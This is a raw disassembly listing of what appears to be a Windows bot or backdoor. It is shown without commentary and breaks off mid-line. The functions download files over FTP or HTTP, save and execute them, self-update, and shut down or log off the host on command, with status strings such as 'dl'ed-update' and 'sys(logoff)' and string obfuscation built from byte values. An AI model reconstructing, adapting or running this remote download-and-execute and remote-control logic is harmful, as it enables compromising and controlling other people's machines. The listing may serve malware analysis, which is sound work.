sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CEB3 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CEB5 ; --------------------------------------------------------------------------- loc_41CEB3: ; CODE XREF: sub_41C610+896j xor edi, edi loc_41CEB5: ; CODE XREF: sub_41C610+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CF40: ; CODE XREF: sub_41C610+7A1j lea ecx, [ebp+0EAh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D1A1 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016AE push offset word_44759A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D0EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41D0EC: ; CODE XREF: sub_41C610+A64j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D114 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D114: ; CODE XREF: sub_41C610+AF7j xor edi, edi loc_41D116: ; CODE XREF: sub_41C610+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FBE lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FBE lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013D4 loc_41D1A1: ; CODE XREF: sub_41C610+116j ; sub_41C610+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D212: ; CODE XREF: sub_41C610+549j ; sub_41C610+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C610 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D540 proc near ; CODE XREF: sub_401B36j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D540 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D5D0 proc near ; CODE XREF: sub_4014B0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D5D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D5D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_4021C6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D670 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D730: ; CODE XREF: ___:00401168j ; ___:loc_4019E7j push esi mov esi, ecx call sub_4015C3 test byte ptr [esp+8], 1 jz short loc_41D748 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D748: ; CODE XREF: ___:0041D73Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D760 proc near ; CODE XREF: sub_4015C3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D760 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D760 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D830 proc near ; CODE XREF: sub_401C80j var_48 = dword ptr -48h var_40 = byte ptr -40h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_10C = byte ptr 110h arg_11C = byte ptr 120h arg_12C = byte ptr 130h arg_110C = dword ptr 1110h arg_1110 = byte ptr 1114h arg_112C = dword ptr 1130h arg_1134 = dword ptr 1138h arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43B0F2 push eax mov eax, 1158h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, ecx push edi push offset byte_446F70 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41DF38 lea ebx, [esi+65h] push offset byte_446F70 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41DF38 lea ecx, [esi+26h] push offset byte_446F70 call sub_4012EE test eax, eax jz loc_41DF38 mov al, [esi+91h] test al, al jz short loc_41D8D1 push offset byte_446F70 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D8C4 push offset byte_446F70 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D8D1 loc_41D8C4: ; CODE XREF: sub_41D830+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41DF40 ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: sub_41D830+70j ; sub_41D830+92j push offset asc_443C94 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41D95E push offset asc_443C94 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016AE mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41D96F loc_41D95E: ; CODE XREF: sub_41D830+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41D96F: ; CODE XREF: sub_41D830+12Cj push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016AE lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FBE lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017E4 push eax nop call near ptr 27F0000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015D7 mov al, [esi+91h] test al, al jz loc_41DB04 call sub_401E06 ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017E4 push eax call sub_401A69 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DA1C lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41DF17 ; --------------------------------------------------------------------------- loc_41DA1C: ; CODE XREF: sub_41D830+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017E4 push eax lea ecx, [esi+3Bh] call sub_4017E4 push eax call sub_402243 add esp, 0Ch test eax, eax jnz short loc_41DA73 lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DA73: ; CODE XREF: sub_41D830+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_4016A9 add esp, 10h test eax, eax jnz short loc_41DAF2 mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DAF2: ; CODE XREF: sub_41D830+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D52 add esp, 4 jmp loc_41DD7B ; --------------------------------------------------------------------------- loc_41DB04: ; CODE XREF: sub_41D830+195j lea ecx, [esp+28h+arg_20] call sub_401424 lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_401424 push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017E4 push eax call sub_401A8C mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DB87 lea ecx, [esi+7Ah] call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- db 53h db 90h db 0E8h, 0B7h, 0BAh ; --------------------------------------------------------------------------- imul esi, [ecx-17h], 0BEh loc_41DB87: ; CODE XREF: sub_41D830+310j push ebp mov ecx, edi call sub_4017E4 push eax lea ecx, [esi+26h] call sub_4017E4 push eax lea edx, [esp+34h+arg_20] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+28h+arg_20] push 0 call sub_4013D9 push eax lea ecx, [esp+30h+arg_20] call sub_4017E4 push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017E4 push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DC80 mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+38h+var_28] mov [esp+38h+var_28], esi push ecx mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+38h+var_1C] mov byte ptr [esp+38h+arg_1134], 3 call sub_401226 lea ecx, [esp+38h+arg_10] mov byte ptr [esp+38h+arg_1134], 2 call sub_401226 lea ecx, [esp+38h+var_4] mov [esp+38h+arg_1134], 0FFFFFFFFh call sub_401226 jmp loc_41DF4B ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D830+3DBj ; sub_41D830+484j ... mov eax, [esp+38h+var_24] push 0 lea edx, [esp+3Ch+arg_12C] push 1000h push edx push eax nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DCF8 cmp ebp, 1000h jge short loc_41DCB0 mov [esp+ebp+48h+arg_11C], 0 loc_41DCB0: ; CODE XREF: sub_41D830+476j xor edi, edi test ebp, ebp jle short loc_41DC80 loc_41DCB6: ; CODE XREF: sub_41D830+4A5j push 4 lea ecx, [esp+edi+4Ch+arg_11C] push offset asc_443EF8 ; "\r\n\r\n" push ecx nop call near ptr 77C47A50h add esp, 0Ch test eax, eax jz short loc_41DCD9 inc edi cmp edi, ebp jl short loc_41DCB6 jmp short loc_41DC80 ; --------------------------------------------------------------------------- loc_41DCD9: ; CODE XREF: sub_41D830+4A0j add edi, 4 cmp edi, ebp jge short loc_41DCF8 loc_41DCE0: ; CODE XREF: sub_41D830+4C6j movsx edx, [esp+edi+48h+arg_11C] push ebx push edx call near ptr 77C40E76h nop add esp, 8 inc edi cmp edi, ebp jl short loc_41DCE0 loc_41DCF8: ; CODE XREF: sub_41D830+46Ej ; sub_41D830+4AEj ... mov edi, [esp+48h+var_34] push 0 lea eax, [esp+4Ch+arg_11C] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DD48 cmp ebp, 1000h jge short loc_41DD28 mov [esp+ebp+58h+arg_10C], 0 loc_41DD28: ; CODE XREF: sub_41D830+4EEj xor edi, edi test ebp, ebp jle short loc_41DCF8 loc_41DD2E: ; CODE XREF: sub_41D830+514j movsx ecx, [esp+edi+58h+arg_10C] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DD2E jmp short loc_41DCF8 ; --------------------------------------------------------------------------- loc_41DD48: ; CODE XREF: sub_41D830+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi call near ptr 71AB9639h nop lea ecx, [esp+5Ch+var_40] mov [esp+5Ch+arg_1110], 3 call sub_401226 lea ecx, [esp+5Ch+var_10] mov [esp+5Ch+arg_1110], 2 call sub_401226 loc_41DD7B: ; CODE XREF: sub_41D830+2CFj mov al, [esi+90h] test al, al jnz loc_41DE17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D60B5 call sub_401848 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41DF0F push offset byte_446F70 mov ecx, ebp call sub_4017E4 push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017E4 push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h jmp loc_41DF0F ; --------------------------------------------------------------------------- loc_41DE17: ; CODE XREF: sub_41D830+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea edx, [esp+5Ch+var_40] push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 51h push edx call sub_4019B5 add esp, 24h mov ecx, eax mov [esp+5Ch+arg_1110], 5 call sub_4014D3 push eax mov ecx, ebx call sub_4014D3 push eax call sub_402149 add esp, 8 lea ecx, [esp+5Ch+var_40] mov bl, al mov [esp+5Ch+arg_1110], 2 call sub_401226 test bl, bl jz short loc_41DEEA mov al, byte_4478D6 test al, al jz short loc_41DEB9 push offset dword_447874 mov ecx, offset dword_448DB0 call sub_401447 loc_41DEB9: ; CODE XREF: sub_41D830+678j mov al, byte_44791F test al, al jz short loc_41DED1 push offset byte_44794F mov ecx, offset dword_448DB0 call sub_401942 loc_41DED1: ; CODE XREF: sub_41D830+690j mov ecx, offset dword_448DB0 call sub_401E5B push 1 mov byte_4E6E84, 0 nop call near ptr 77C39E7Eh loc_41DEEA: ; CODE XREF: sub_41D830+66Fj mov ecx, edi call sub_4014D3 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 loc_41DF0F: ; CODE XREF: sub_41D830+597j ; sub_41D830+5E2j mov [esp+60h+var_48], esi lea edx, [esp+60h+var_48] loc_41DF17: ; CODE XREF: sub_41D830+1E7j push edx loc_41DF18: ; CODE XREF: sub_41D830+23Ej ; sub_41D830+2BDj mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_2C] mov [esp+60h+arg_110C], 0FFFFFFFFh call sub_401226 jmp short loc_41DF4B ; --------------------------------------------------------------------------- loc_41DF38: ; CODE XREF: sub_41D830+36j ; sub_41D830+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41DF40: ; CODE XREF: sub_41D830+9Cj push eax mov ecx, offset byte_4E6EDB call sub_40120D sub_41D830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D830 loc_41DF4B: ; CODE XREF: sub_41D830+44Bj ; sub_41D830+706j mov ecx, [esp+38h+arg_112C] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D830 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E140 proc near ; CODE XREF: sub_401B90j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E140 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41E140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E31B push offset dword_443FFC lea ecx, [edi+69h] call sub_401681 mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 6 call near ptr 2880000h nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E31B: ; CODE XREF: ___:0041E2DEj lea ecx, [esi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E36A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_401681 mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 5 nop call near ptr 2880000h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E36A: ; CODE XREF: ___:0041E32Dj lea ecx, [esi+60h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E3B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_401681 mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 4 nop call near ptr 2880000h loc_41E3B1: ; CODE XREF: ___:0041E37Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E400 proc near ; CODE XREF: sub_401F5Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E400 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41E400 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019B5 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017E4 lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E660 proc near ; CODE XREF: sub_401613j var_50 = dword ptr -50h var_4C = byte 